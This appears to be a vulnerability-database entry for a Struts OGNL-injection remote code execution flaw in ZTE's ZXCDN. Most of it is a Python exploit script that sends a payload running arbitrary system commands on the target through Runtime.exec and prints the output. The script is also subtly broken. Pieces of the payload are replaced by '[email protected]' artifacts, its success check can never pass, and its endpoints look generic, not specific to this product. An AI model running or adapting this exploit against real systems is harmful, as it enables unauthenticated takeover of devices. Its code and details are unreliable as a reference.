ZTE's ZXCDN product is affected by a Struts remote code execution (RCE) vulnerability. An unauthenticated attacker can remotely execute commands with non-root privileges.
CVSS Details
CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Configurations (Affected Products)
No configuration data available.
ZTE ZXCDN(具体受影响版本请参考ZTE官方安全公告)
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-46581 - ZTE ZXCDN Struts RCE PoC
# Exploit for Apache Struts2 OGNL Injection via REST plugin
# Tested against ZTE ZXCDN products
import requests
import sys
TARGET_URL = "http://target-zxcdn.example.com"
def exploit_rce(target_url, cmd):
"""
Exploit Struts2 OGNL injection vulnerability (CVE-2025-46581)
to achieve Remote Code Execution on ZTE ZXCDN devices.
"""
# Struts2 OGNL injection payload
# Uses java.lang.Runtime to execute system commands
ognl_payload = (
"%{(#[email protected]@DEFAULT_MEMBER_ACCESS)."
"(#ct=#request['struts.valueStack'].context)."
"(#cr=#ct['com.opensymphony.xwork2.ActionContext.container'])."
"(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
"(#ou.getExcludedPackageNames().clear())."
"(#ou.getExcludedClasses().clear())."
"(#ct.setMemberAccess(#dm))."
"(#[email protected]@getRuntime().exec('" + cmd + "'))."
"(#b=#a.getInputStream())."
"(#c=new java.io.InputStreamReader(#b))."
"(#d=new java.io.BufferedReader(#c))."
"(#out=#ct.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter())."
"(#out.println(#d.readLine()))."
"(#out.flush())."
"(#out.close())}"
)
headers = {
"Content-Type": "application/xml",
"User-Agent": "Mozilla/5.0 (compatible; Struts2RCE)"
}
# Send exploit via REST plugin endpoint
endpoints = [
f"{target_url}/struts2-showcase/integration/saveGangster.action",
f"{target_url}/index.action",
f"{target_url}/login.action"
]
for endpoint in endpoints:
try:
# Method 1: Via URL parameter
resp = requests.get(
endpoint,
params={"name": ognl_payload},
headers=headers,
timeout=10
)
if resp.status_code == 200 and "" not in resp.text:
print(f"[+] Exploit successful via {endpoint}")
print(f"[+] Command output: {resp.text}")
return resp.text
except Exception as e:
continue
return None
if __name__ == "__main__":
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <target_url> [command]")
print(f"Example: {sys.argv[0]} http://target.com 'id'")
sys.exit(1)
target = sys.argv[1]
command = sys.argv[2] if len(sys.argv) > 2 else "id"
print(f"[*] Targeting: {target}")
print(f"[*] Command: {command}")
result = exploit_rce(target, command)
if result:
print(f"[+] RCE confirmed!")
else:
print("[-] Exploit failed - target may be patched")